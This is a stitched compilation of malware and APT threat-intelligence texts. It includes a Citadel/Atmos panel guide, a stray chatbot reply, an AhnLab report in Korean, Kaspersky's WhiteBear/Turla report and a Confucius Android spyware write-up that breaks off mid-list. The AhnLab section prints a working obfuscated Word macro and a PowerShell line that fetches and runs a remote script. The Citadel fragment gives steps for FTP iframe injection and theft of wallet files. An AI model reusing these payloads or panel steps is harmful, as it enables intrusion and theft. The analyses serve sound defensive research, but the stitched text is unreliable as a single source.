to modify any files on the bot. Its main purpose is to grab *coin files (multibit.dat/litecoin.dat...). Use mouse right-click to access the context menu for the file list. **FTP Iframer**: For this feature to work correctly, you need to download the iframer script and put it in the www-root directory on one of the hosts that will be used to perform the mass-email campaign - make sure you turn off the following in php.ini; `magic_quotes_gpc = Off` and `safe_mode = Off`. Next, create configuration options by pressing on [Конфигурация]. Specify the script URL in the URL field. Working mode: Just checking [Will check the validity of FTP accounts found in the logs]. Inject: [Mode: "ON"]. Inject method: Smart/Add/Overwrite [Smart - will re-add the inject in case it was detected and deleted. / Add - iframe code will be added to the end of the file before </body></html>]. Lookup depth: [File search level on ftp-host. For example, in the following structure FTP Connection > public_html(1) > images(2) > gif(3)....]. Next, perform 'Accounts search' and 'Run tasks'. The statistics and results will be available after a few minutes. The script will be working in cron-mode after the first execution, so there is no need to keep the page opened. **Neuromodel**: Neuromodel allows you to perform complex analysis of your botnet: identifying best bots, upload success rates. You can build a research matrix that includes a list of bots and evaluate them against specified criteria; the result will be calculating a score for each bot. Each research matrix can contain a number of evaluation criteria. For example, you need to search the logs for the following data: Bank Acc + CC or Bank Acc + ISP E-mail. Create a profile first and then plan the task based on required criteria. ## Citadel 0.0.1.1 Samples - A7D98B79FBDD7EFEBE4945F362D8A233A84D0E8D - C286C31ECC7119DD332F2462C75403D36951D79F - D399AEDA9670073E522B17B37201A1116F7D2B94 - BFD9251E135D63F429641804C9A52568A83831CA - 2E28E9ACAC691A40B8FAF5A95B9C92AF0947726F - 5CAC9972BB247502E700735067B3A37E70C90278 - 959F8A78868FFE89CD4A0FD6F92D781085584E95 - 2716D3DE18616DBAB4B159BACE2F2285DA358C84 - 450A638957147A62CA9049830C3452B703875AEE - 7C90F27C0640188EA5CF2498BF5964FF6788E79C - 14C0728175B26446B7F140035612E303C15502CB - 267DA16EC9B114ED5D9F5DEE07C2BF77D4CFD5E6 - E6DD260168D6B1B29A03DF1BA875C9065B146CF3 - 963FE9DCEDA3A4552FAA88BABD4E9954B05C83D2 - 4F6AE5803C2C3EE49D11DAB48CA848F82AE31C16 - 8BBFA46A2ADCDF0933876EF920826AB0B02FCC18 ## Decrypted Citadel Plugins - B3FDC0DAFA7C0A2076AB4D42317A0E0BAAF3BA78 - 0B40F80C025C199F7D940BED572EA08ADE2D52F9 - 3B004C68C32C13CAF7F9519B6F7868BF99771F30 **Atmos Package**: - 056709A96FE05793B3544ACB4413A9EF827DCEEF - C1B79552B6F770D96B0A0C25C8C8FD87D6D629B9 ## Other Samples (Not Atmos) - 02FFC98E2B5495E9C760BDA1D855DCA48A754243 - B7AE6D5026C776F123BFC9DAECC07BD872C927B4 - 56B58A03ADB175886FBCA449CDB73BE2A82D6FEF Some other Atmos samples (Courtesy of Kafeine): - 8BBFA46A2ADCDF0933876EF920826AB0B02FCC18 - DAABF498242018E3EE16513E2A789D397141C7AC - 04F599D501EA656FB995D1BFA4367F5939631881 You can find my yara rules for mitigating Atmos here: [Yara Rules](https://github.com/Yara-Rules/rules/blob/master/malware/MALW_Atmos.yar). The Google Chrome injections appear to work from v25.0.1349.2 (2012/12/06) till v43.0.2357.134 (2015/07/14). Fun thing: I got correlations with a CoreBot sample and their webinjects used. If you look for more info about Citadel, the community did a great job here: [KernelMode](http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465). 継続は力なり
It seems there is no content provided for me to clean up and format. Please provide the text you would like me to process, and I'll be happy to assist you!
# 워드문서를 이용한 특정인 대상 APT 공격 시도 ASEC 분석팀은 이전 “‘한국정치외교 학술’ 및 ‘정책자문위원 약력’ 악성 워드문서 유포” 등으로 소개하였던 악성 워드 문서와 동일한 유형의 악성코드가 여전히 유포되고 있음을 확인하였다. 최근 확인된 워드 파일 역시 기존과 동일하게 External 링크를 통해 악성 매크로가 포함된 dotm 파일을 다운로드한다. 확인된 파일명과 External 주소는 아래와 같다. | 발견 일자 | 파일명 | External URL | |-----------|--------|---------------| | 7/3 | [남북회담본부 정책자문위원] 약력 작성 양식.docx | hxxp://jupit.getenjoyment.net/Package/2006/relationships/InterKoreanSummit.dotm | | 7/6 | 00225 한미의원대화 ***.docx | hxxp://modri.myartsonline.com/officeDocument/2006/relationships/BIO.dotm | | 7/9 | *** 교수님 BIO.docx | hxxp://visul.myartsonline.com/officeDocument/2006/relationships/BIO.dotm | | 7/12 | *** 교수 BIO.docx | hxxp://ccav.myartsonline.com/officeDocument/2006/relationships/BIO.dotm | | 7/15 | BIO 양식.docx | hxxp://tbear.mypressonline.com/officeDocument/2006/relationships/BIO.dotm | 다운로드된 dotm 파일들은 모두 기존에 확인된 것과 동일한 유형의 매크로를 포함하고 있다. 아래는 BIO 양식.docx의 External 링크에서 다운로드된 dotm 파일에 존재하는 악성 매크로이다. ```vb Private Sub Document_Open() eifhhdfasfiedf End Sub Function eifhhdfasfiedf() Set djfeihfidkasljf = CreateObject("Shell.Application") Dim dfgdfjiejfjdshaj As String fjdjkasf = "tlsiajdsladkf" fjdjkasf = Left(fjdjkasf, 5) dfgdfjiejfjdshaj = "tlsiaptlsiaotlsiawtlsiaetlsiartlsiastlsiahtlsiaetlsialtlsialtlsia.tlsiaetlsiaxtlsiaetlsia" dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "") hdfksallasjkdlaf = "tlsia[tlsiastlsiattlsiartlsiaitlsiantlsiagtlsia]tlsia$tlsiaatlsia=tlsia{tlsia(tlsiaNtlsiaetl tlsiaOtlsiabtlsiajtlsiaetlsiactlsiattlsia" hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "") ndkflajdkfjskdjfl = "tlsiaNtlsiaetlsiattlsia.tlsiaWtlsiaetlsiabtlsiaCtlsialtlsiaitlsiaetlsiantlsiattlsia)tlsia.tl" ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "") salfnxkfdlsjafkj = "('htlsiattlsiattlsiaptlsia:tlsia/tlsia/tlsiattlsiabtlsiaetlsiaatlsiartlsia.tlsiamtlsiaytlsiap" salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "") sjdfkjaslalsfial = "tlsia}tlsia;tlsia$tlsiabtlsia=tlsia$tlsiaatlsia.tlsiaitlsiantlsiastlsiaetlsiartlsiattlsia(tl" sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "") aksfkjaskjfksnkf = "tlsiatlsiawtlsiantlsialtlsiaotlsiaatlsiadtlsiastlsiattlsiartlsiaitlsia'tlsia)tlsia;tlsia$tls" aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "") sdfewjdhsajkfhjdf = "etlsiaxtlsia tlsia$tlsiabtlsia;tlsiaitlsiaetlsiaxtlsia tlsia$tlsiactlsia" sdfewjdhsajkfhjdf = Replace(sdfewjdhsajkfhjdf, fjdjkasf, "") skdjfksjkfjkdsfj = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf + sdfewjdhsajkfhjdf djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, skdjfksjkfjkdsfj, "", "open", 0 End Function ``` 매크로 실행 시 아래의 파워쉘 명령어가 실행되어 hxxp://tbear.mypressonline.com/ci/mo.txt에 존재하는 스크립트를 다운로드 및 실행한다. ``` “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” [string]$a={(New-Object Net.WebClient).Dong(‘hxxp://tbear.mypressonline.com/ci/mo.txt’)};$b=$a.insert(29,’wnloadstri’);$c=iex $b;iex $c ``` 해당 악성 스크립트는 C2 주소를 제외하고 모두 이전 게시글에서 설명한 것과 동일하며, 아래와 같이 사용자 정보 수집 및 추가 파일 다운로드 등의 행위를 수행한다. - 추가 악성 파일 다운로드 - 최근 실행 파일 목록 수집 - SystemInfo 수집 - tasklist 수집 - 수집 파일 업로드 추가로 위와 같은 악성 dotm을 다운받는 URL과 악성 스크립트가 존재하는 URL이 다수 확인되었다. - hxxp://btige.myartsonline.com/officeDocument/2006/relationships/BIO.dotm - hxxp://tbear.mypressonline.com/officeDocument/2006/relationships/BIO.dotm - hxxp://stair.myartsonline.com/officeDocument/2006/relationships/BIO.dotm - hxxp://ccav.myartsonline.com/officeDocument/2006/relationships/BIO.dotm - hxxp://visul.myartsonline.com/officeDocument/2006/relationships/BIO.dotm - hxxp://modri.myartsonline.com/officeDocument/2006/relationships/BIO.dotm - hxxp://ranso.myartsonline.com/Package/2006/relationships/InterKoreanSummit.dotm - hxxp://lieon.mypressonline.com/Package/2006/relationships/InterKoreanSummit.dotm - hxxp://chels.mypressonline.com/Package/2006/relationships/InterKoreanSummit.dotm - hxxp://warcr.onlinewebshop.net/Package/2006/relationships/InterKoreanSummit.dotm - hxxp://jupit.getenjoyment.net/Package/2006/relationships/InterKoreanSummit.dotm - hxxp://ripzi.getenjoyment.net/Package/2006/relationships/InterKoreanSummit.dotm 정상 워드 문서로 위장한 타겟형 악성코드가 여전히 유포되고 있어 사용자의 각별한 주의가 필요하다. 출처가 불분명한 파일 열람 및 문서 파일에 포함된 매크로 실행을 자제해야 한다. 또한, 해당 악성 코드는 매크로 보안 설정을 변경하는 기능을 수행하여 사용자는 보안 설정을 높음 수준으로 유지하고 있는지 주기적인 확인이 필요하다. V3에서는 위에서 소개한 유형의 파일들에 대해 다음과 같이 진단하고 있다. - Downloader/XML.External - Downloader/DOC.Agent 정리된 정보는 AhnLab TIP 구독 서비스를 통해 확인 가능하다.
# WhiteBear APT Activity Report As part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. This observation of delineated target focus, tooling, and project context can also be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affairs organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules. The exact delivery vector for WhiteBear components is unknown, although we have a strong suspicion the group spearphished targets with malicious PDF files. The decoy PDF document was likely stolen from a target or partner. Although WhiteBear components have been consistently identified on a subset of systems previously targeted with the WhiteAtlas framework, and maintain components within the same file paths and can maintain identical filenames, we were unable to firmly tie delivery to any specific WhiteAtlas component. WhiteBear focused on various embassies and diplomatic entities around the world in early 2016; attempts were made to drop and display decoy PDFs with full diplomatic headers and content alongside executable droppers on target systems. ## Technical Details The WhiteBear platform implements an elaborate set of messaging and injection components to support full presence on victim hosts. ### WhiteBear Binary Loader - **Sample MD5:** b099b82acb860d9a9a571515024b35f0 - **Type:** PE EXE - **Compilation Timestamp:** 2002.02.05 17:36:10 (GMT) - **Linker Version:** 10.0 (MSVC 2010) - **Signature:** “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT The WhiteBear binary loader maintains several features including two injection methods for its “KernelInjector” subsystem: - **Standart** - **WindowInject** (includes an unusual technique for remotely placing code into memory for subsequent thread execution) The loader also maintains two methods for privilege and DEP process protection handling: - **GETSID_METHOD_1** - **GETSID_METHOD_2** The binary contains two resources: - **BINARY 201** - File size: 128 bytes - Contains the string, “explorer.exe” - **BINARY 202** - File size: 403456 bytes - File Type: PE file (this is the actual payload and is not encrypted) - This PE file resource stores the “main orchestrator” .dll file ### Loader Runtime Flow The loader creates the mutex “{531511FA-190D-5D85-8A4A-279F2F592CC7}” and waits up to two minutes if it is already present while logging the message “IsLoaderAlreadyWork +”. It extracts the resource BINARY 201, which contains a wide string name of processes to inject into (i.e., “explorer.exe”). The loader makes a pipe named: ``` \\.\pipe\Winsock2\CatalogChangeListener-%03x%01x-%01x ``` Where the “%x” parameter is replaced with the values 0xFFFFFFFF, 0xEEEEEEEE, 0xDDDDDDDD, or if it has successfully obtained the user’s SID: ``` \\.\pipe\Winsock2\CatalogChangeListener-%02x%02x-%01x ``` With “%x” parameters replaced with numbers calculated from the current date and a munged user SID. The pipe is used to communicate with the target process and the transport module; the running code also reads its own image body and writes it to the pipe. The loader then obtains the payload body from resource BINARY 202. It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process. ### Debug Messages There are some interesting, juvenile, and non-native English-speaker debug messages compiled into the code: - i cunt waiting anymore #%d - lights aint turnt off with #%d - Not find process - CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER - CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION - CMessageProcessingSystem::Send_TAKE_FIN ### WhiteBear Main Module/Orchestrator - **Sample MD5:** 06bd89448a10aa5c2f4ca46b4709a879 - **Type, Size:** PE DLL, 394 kb - **Compilation Timestamp:** 2002.02.05 17:31:28 (GMT) - **Linker Version:** 10.0 (MSVC 2010) - **Unsigned Code** The main module has no exports, only a DllMain entry which spawns one thread and returns. The main module maintains multiple BINARY resources that include executable, configurations, and encryption data: - 101 – RSA private key - 102 – RSA public key - 103 – empty - 104 – 16 encrypted bytes - 105 – location (“%HOMEPATH%\ntuser.dat.LOG3”) - 106 – process names (e.g., “iexplore.exe, firefox.exe, chrome.exe, outlook.exe, safari.exe, opera.exe”) to inject into - 107 – Transport module for interaction with C&C - 108 – C2 configuration - 109 – Registry location (“\HKCU\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Explorer\Screen Saver”) - 110 – no information - 111 – 8 zero bytes Values 104 – 111 are encrypted with the RSA private key (resource 101) and compressed with bzip2. The RSA key is stored with header stripped in a format similar to Microsoft’s PVK; the RSA PRIVATE KEY header is appended by the loader before reading the keys into the encryption code. Resource 109 points to a registry location called “external storage”, built-in resources are called “PE Storage”. In addition to storing code, crypto resources, and configuration data in PE resources, WhiteBear copies much of this data to the victim host’s registry. Registry storage is located in the following keys: ``` [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver] [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver] ``` Registry subkeys: - {629336E3-58D6-633B-5182-576588CF702A} Contains the RSA private key used to encrypt/decrypt other resources / resource 101 - {3CDC155D-398A-646E-1021-23047D9B4366} Resource 105 – current file location - {81A03BF8-60AA-4A56-253C-449121D61CAF} Resource 106 – process names - {31AC34A1-2DE2-36AC-1F6E-86F43772841F} Contains the internet C&C transport module / resource 107 - {8E9810C5-3014-4678-27EE-3B7A7AC346AF} Resource 108 – C&C config - {28E74BDA-4327-31B0-17B9-56A66A818C1D} Resource 110 “plugins” - {4A3130BD-2608-730F-31A7-86D16CE66100} Resource 111 - {119D263D-68FC-1942-3CA3-46B23FA652A0} Unique Guid (“ObjectID”) - {1DC12691-2B24-2265-435D-735D3B118A70} “Task Queue” - {6CEE6FE1-10A2-4C33-7E7F-855A51733C77} “Result Queue” - {56594FEA-5774-746D-4496-6361266C40D0} unknown - {831511FA-190D-5D85-8A4A-279F2F592CC7} unknown If the main WhiteBear module fails to use registry storage, it uses “FS Storage” in file %TEMP%\KB943729.log. The module reads all of its data and binary components from one of the storages and then verifies the integrity of data (RSA+bzip2 compression+signature). The module maintains functionality which is divided into a set of subsystems that are loosely named by the developers: - result queue - task queue - message processing system - autorun manager - execution subsystem - inject manager - PEStorage - local transport manager/internal transport channel It creates the following temporary files: ``` %TEMP%\CVRG72B5.tmp.cvr %TEMP%\CVRG1A6B.tmp.cvr %TEMP%\CVRG38D9.tmp.cvr %TEMP%\~DF1E05.tmp ``` Every day (as specified by local time) the main module restarts the transport subsystem which includes: - message processing - named pipe transport (“NPTransport”) If the registry/file storage is empty, the module performs a ‘migration’ of hardcoded modules and settings to the storage location. This data is encrypted with a new RSA key (which is also stored in the registry). The data in the registry is prepended with a 0xC byte header. The maximum size of each registry item is 921,600 bytes; if the maximum size is exceeded, it is split into several items. ### Pipe Transport The module generates the pipe name (with the same prefix as the loader), waits for incoming connections, receives data, and pushes it to the ‘message processing system’. Every packet is expected to be at least 6 bytes and contain the following header: ``` [4:ID] [2:command] ``` List of commands: 1. new task 2. update the loader + orchestrator file 3. send task result 4. send settings 5. write results to registry/file storage 6. enable/disable c2 transport/update status 7. uninstall 8. nop 9. “CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER”; write results to registry 10. write the last connection data ‘{56594FEA-5774-746D-4496-6361266C40D0}’ aka “last connection” storage value 11. “give cache” – write cached commands from the C&C 12. “take cache” – append C&C commands to the cache Depending on the command, the module returns the results from previously run tasks, the configuration of the module, or a confirmation message. ### Autorun Manager The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically: - **LinkAutorun:** Searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” && start “” “%s” ‘ - **TaskScheduler20Autorun:** Creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger - **StartupAutorun:** Creates a LNK file in %STARTUP% - **ScreenSaverAutorun:** Installs as a current screensaver with a hidden window - **HiddenTaskAutorun:** Creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory - **ShellAutorun:** Winlogon registry [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Shell=”explorer.exe, …” File uninstallation is done discreetly. The file is filled with zeroes, then renamed to a temporary filename before being deleted. ### WhiteBear Transport Library - **Sample MD5:** 19ce5c912768958aa3ee7bc19b2b032c - **Type:** PE DLL - **Linker Timestamp:** 2002.02.05 17:58:22 (GMT) - **Linker Version:** 10.0 - **Signature:** “Solid Loop Ldt” UTCTime 15/10/2015 00:00:00 GMT – UTCTime 14/10/2016 23:59:59 GMT This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent; once started, it interacts with the orchestrator using its local named pipe. To communicate with its C2 server, the transport library uses the system user agent or default “Mozilla/4.0 (compatible; MSIE 6.0)”. Before attempting a connection with its configured C2 server, the module checks if the victim system is connected to the Internet by sending HTTP 1.1 GET requests to the following servers (this process stops after the first successful connection): - update.microsoft.com - microsoft.com - windowsupdate.microsoft.com - yahoo.com - google.com If there is no Internet connection available, the module changes state to “CANNOT_WORK” and notifies the peer by sending command “7” over the local pipe. The C2 configuration is obtained from the main module with the command “5”. This checks whether the module complies with the schedule specified in the C2 settings (which includes inactivity time and the interval between connections). ### Unusual WhiteBear Encryption The encryption implemented in the WhiteBear orchestrator is particularly interesting. The resource section is encrypted/decrypted and packed/decompressed with RSA+3DES+BZIP2. This implementation is unique and includes the format of the private key as stored in the resource section. The private key itself is stored as a raw binary blob, in a format similar to the one Microsoft code uses in PVK format. This format is not officially documented, but its structures and handling are coded into OpenSSL. ### Digital Code-Signing Certificate Most WhiteBear samples are signed with a valid code signing certificate issued for “Solid Loop Ltd”, a once-registered British organization. Solid Loop is likely a phony front organization or a defunct organization, and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates. ## WhiteBear Command and Control The WhiteBear C2 servers are consistent with long-standing Turla infrastructure management practices, so the backdoors callback to a mix of compromised servers and hijacked destination satellite IP hosts. For example, direct, hardcoded Turla satellite IP C2 addresses are shown below: | C2 IP Address | Geolocation | IP Space Owner | |-----------------------|---------------------|--------------------------------------------------| | 169.255.137[.]203 | South Sudan | IPTEC, VSAT | | 217.171.86[.]137 | Congo | Global Broadband Solution, Kinshasa VSAT | | 66.178.107[.]140 | Unknown – Likely Africa | SES/New Skies Satellites | ## Targeting and Victims WhiteBear targets over the course of a couple of years are related to government foreign affairs, international organizations, and later, defense organizations. The geolocation of the incidents includes: - Europe - South Asia - Central Asia - East Asia - South America ## Conclusions WhiteBear activity reliant on this toolset seems to have diminished in June 2017. But Turla efforts continue to be run as multiple subgroups and campaigns. This one started targeting diplomatic entities and later included defense-related organizations. Infrastructure overlap with other Turla campaigns, code artifacts, and targeting are consistent with past Turla efforts. With this subset of 2016-2017 WhiteBear activity, Turla continues to be one of the most prolific, longstanding, and advanced APTs we have researched, and continues to be the subject of much of our research. ## Reference Set - Full IOC and powerful YARA rules delivered with private report subscription - **MD5:** - b099b82acb860d9a9a571515024b35f0 - 19ce5c912768958aa3ee7bc19b2b032c - 06bd89448a10aa5c2f4ca46b4709a879 - **IP:** - 169.255.137[.]203 - 217.171.86[.]137 - 66.178.107[.]140 - **Domain(s):** - soligro[.]com – interesting because the domain is used in another Turla operation (KopiLuwak), and is the C2 server for the WhiteBear transport library - mydreamhoroscope[.]com ## Example Log Upon Successful Injection ``` |01:58:10:216|.[0208|WinMain ].. |01:58:14:982|.[0209|WinMain ].************************************************************************ ****************** |01:58:15:826|.[0212|WinMain ].DATE: 01.01.2017|01:58:21:716|.[0215|WinMain ].PID=2344.TID=1433.Heaps=3 |01:58:22:701|.[0238|WinMain ].CreateMutex = {521555FA-170C-4AA7-8B2D-159C2F491AA4} |01:58:25:513|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_ |01:58:26:388|.[0425|GetUserSidByName ].22 15 1284404594 111 |01:58:27:404|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 |01:58:28:263|.[0471|GetUserSidByName ]. |01:58:29:060|.[0165|GeneratePipeName ].\\.\pipe\Winsock2\CatalogChangeListener-5623-b |01:58:29:763|.[0275|WinMain ].PipeName = \\.\pipe\Winsock2\CatalogChangeListener-5623-b |01:58:30:701|.[0277|WinMain ].Checking for existence… |01:58:31:419|.[0308|WinMain ].— Pipe is not installed yet |01:58:32:044|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_ |01:58:32:841|.[0425|GetUserSidByName ].22 15 1284404594 111 |01:58:33:701|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 |01:58:34:419|.[0471|GetUserSidByName ]. |01:58:35:201|.[0318|WinMain ].Loading… |01:58:35:763|.[0026|KernelInjector::KernelInjector ].Address of marker: 0x0025F96C and cProcName: 0x0025F860 |01:58:36:513|.[0031|KernelInjector::KernelInjector ].Value of marker = 0xFFFFFEF4 |01:58:37:279|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1 |01:58:38:419|.[0564|QueryProcessesInformation ].OK |01:58:41:169|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_ |01:58:42:076|.[0425|GetUserSidByName ].22 15 1284404594 111 |01:58:42:748|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 |01:58:43:169|.[0471|GetUserSidByName ]. |01:58:43:701|.[0309|FindProcesses ].dwPID[0] = 1260 |01:58:44:560|.[0345|WinMain ].try to load dll to process (pid=1260)) |01:58:45:013|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1 |01:58:45:873|.[0094|KernelInjector::LoadDllToProcess ].MethodToUse = 1 |01:58:46:544|.[0171|KernelInjector::GetProcHandle ].pid = 1260 |01:58:47:279|.[0314|KernelInjector::CopyDllFromBuffer ].Trying to allocate space at address 0x20020000 |01:58:48:404|.[0332|KernelInjector::CopyDllFromBuffer ].IMAGEBASE = 0x20020000.ENTRYPOINT = 0x2002168B |01:58:48:763|.[0342|KernelInjector::CopyDllFromBuffer ].ANTIDEP INJECT |01:58:49:419|.[0345|KernelInjector::CopyDllFromBuffer ].Writing memory to target process…. |01:58:49:935|.[0353|KernelInjector::CopyDllFromBuffer ].Calling to entry point…. |01:58:51:185|.[0598|KernelInjector::CallEntryPoint ].CODE =0x01FA0000, ENTRY = 0x2002168B, CURR = 0x77A465A5, TID = 1132 |01:58:55:544|.[0786|KernelInjector::CallEntryPoint ]._FINISH_ = 1 |01:58:56:654|.[0372|KernelInjector::CopyDllFromBuffer ].CTRLPROC = 0 |01:58:57:607|.[0375|KernelInjector::CopyDllFromBuffer ].+ INJECTED + |01:58:58:419|.[0351|WinMain ].+++ Load in 1260 ``` ## References – Past Turla Research - The Epic Turla Operation - Satellite Turla: APT Command and Control in the Sky - Agent.btz: a Source of Inspiration? - The ‘Penquin’ Turla - Penquin’s Moonlit Maze - KopiLuwak: A New JavaScript Payload from Turla - Uroburos: the snake rootkit - The Snake Campaign **APT CYBER ESPIONAGE TARGETED ATTACKS TURLA**
# Confucius APT Android Spyware Targets Pakistani and Other South Asian Regions Two Android spyware strains named Hornbill and Sunbird were recently discovered with possible connections to the advanced persistent threat (APT) group called Confucius. The group first appeared in 2013 as a hacking group primarily pursuing Pakistani and other South Asian targets. Confucius has created mainly Windows malware in the past. However, after the spying app ChatSpy came into existence in 2017, the group has also extended its mobile malware capabilities. The two Android malware strains, Hornbill and Sunbird, are embedded inside fake Android applications and used as spyware for monitoring and exfiltrating data from the mobile phones of their targets. These fake Android applications were used to spy on Pakistan’s military and nuclear authorities, along with election officials from Kashmir. The counterfeit apps contain advanced capabilities, including capturing photos from the camera, capturing geolocation, scraping WhatsApp messages and media, and requesting elevated privileges. The data is first collected in SQLite databases, compressed to ZIP files, and uploaded to the hacker’s C2 servers. Counterfeit applications published by the APT group mimic various genuine-looking applications. The Sunbird strain has been embedded into fake applications with legitimate-looking names such as “Google Security Framework,” “Falconry Connect,” “Mania Soccer,” and “Quran Majeed.” According to security researchers at Lookout, apps embedded with Sunbird have more extensive malicious capabilities than Hornbill. While Hornbill works as spyware used to extract data of interest from the target device, Sunbird additionally works as a remote access trojan (RAT), allowing hackers to execute commands on an infected device. Both malwares can exfiltrate a wide range of data from target devices. ## Data exfiltrated by Hornbill and Sunbird: - Call logs - Contacts - Device metadata including phone number, IMEI/Android ID, Model and Manufacturer, and Android version details - Geolocation - Images stored on external storage - WhatsApp voice notes, if installed ## Actions performed on target devices: - Requesting device administrator privileges - Taking screenshots and capturing whatever a victim is currently viewing on their device - Taking photos with the device camera - Recording environment and call audio - Scraping WhatsApp messages and contacts via accessibility services - Scraping WhatsApp notifications via accessibility services The Sunbird malware consists of certain additional malicious capabilities when compared with Hornbill. The additional data exfiltrated by Sunbird includes: - List of installed applications - Browser history - Calendar information - BlackBerry Messenger (BBM) audio files, documents, and images - WhatsApp audio files, documents, databases, voice notes, and images - Content sent and received via IMO instant messaging application Additional actions performed by Sunbird include: - Download attacker-specified content from FTP shares - Run arbitrary commands as root, if possible - Scrape BBM messages and contacts via accessibility services - Scrape BBM notifications via accessibility services The Confucius APT malware campaign involves social engineering tactics for luring unsuspecting targets to download these applications from direct links. Multiple malicious applications with the Sunbird and Hornbill strains are hosted on third-party app stores. Apps embedded with the Hornbill strain are more passive in nature, target a limited set of data, and are used as a reconnaissance tool. The malware only uploads data to the C2 server when it runs for the first time on the infected device. Hornbill keeps mobile internet and battery usage low by only uploading new data from target devices. On the other hand, the Sunbird strain uploads data at fixed intervals. Hornbill actors seem more interested in monitoring the user’s WhatsApp activity, and Hornbill abuses the Android accessibility services to detect an active WhatsApp call and records it. Researchers believe that the same threat actor is behind both the malware, and neither of these apps were distributed via Google Play or any authorized app stores. ## Possible Targets of the Campaign & Exfiltrated Data: Security researchers were able to access 18GB of exfiltrated data exposed on insecurely configured C2 servers of the Sunbird malware. The data also included the location of the infected devices, which helped researchers determine the possible targets of this malware campaign. Some of the targets identified included individuals related to the Pakistan Air Force (PAF), Pakistan Atomic Energy Commission, and other departments. The data exfiltrated by Sunbird included information such as SMS messages, contacts, and call logs uploaded at fixed intervals. ## Connection to Confucius APT: Similar to fake Android applications, the Confucius APT group also targets Windows systems. We analyzed a Confucius malware sample and observed that the attack kill chain starts with a Word document delivered to the target. The document is crafted in a way that encourages the target to open it. Once the user opens the document, it uses template injection to download the RTF exploit that downloads the final stage payload. The RTF contains a DLL embedded in an OLE object. The embedded DLL file, bing.dll (SHA-256: 8b535452727edf06280c495b190c10eb0a90522fad1c61cae8bfeef9b84a4879) contains an export “mark” responsible for downloading the payload. The name of the released .dll file is linknew.dll. The malware also checks for the presence of a debugger and whether it is being executed in a virtual environment. The malicious bing.dll connects to “hxxp://mlservices.online/content/upgrade” to download the payload file. A LNK file named update.lnk and pointing to the payload file update.exe is dropped to the startup folders for adding persistence. After dropping the payload, it runs in the background and performs spyware activities similar to Hornbill and Sunbird. ## Security Recommendations: - Ensure anti-virus software and associated files are up-to-date. - Search for existing signs of the indicated IOCs in your environment. - Consider blocking or setting up detection for all URL and IP-based IOCs. - Download applications from official app stores such as Google Play Store and Apple App Store. - Avoid websites providing bootleg Android APKs and iOS apps. - Keep applications and operating systems running at the current released patch level. - Exercise caution while opening attachments and links in emails. - Keep systems fully patched to mitigate vulnerabilities effectively. ## Indicators of Compromise (IOCs): ### SHA-1 Hashes **Hornbill** - b6b239ccef57a261a254f5167357dc9096618939 - 1f1bab3c5a60275384083ef9e2a5b9fe6c194a35 - 704579a14a2ee80c89ad12019e19e50eb27dffea - 3372458b73d3d5c3957a75dfe6cff62c5cd3cd4f - 77867ddb68b68a340ccdb79bd9d46281d5956fa5 - c504cef5e0e04b15d21388e6f9cc2c320071d50b - 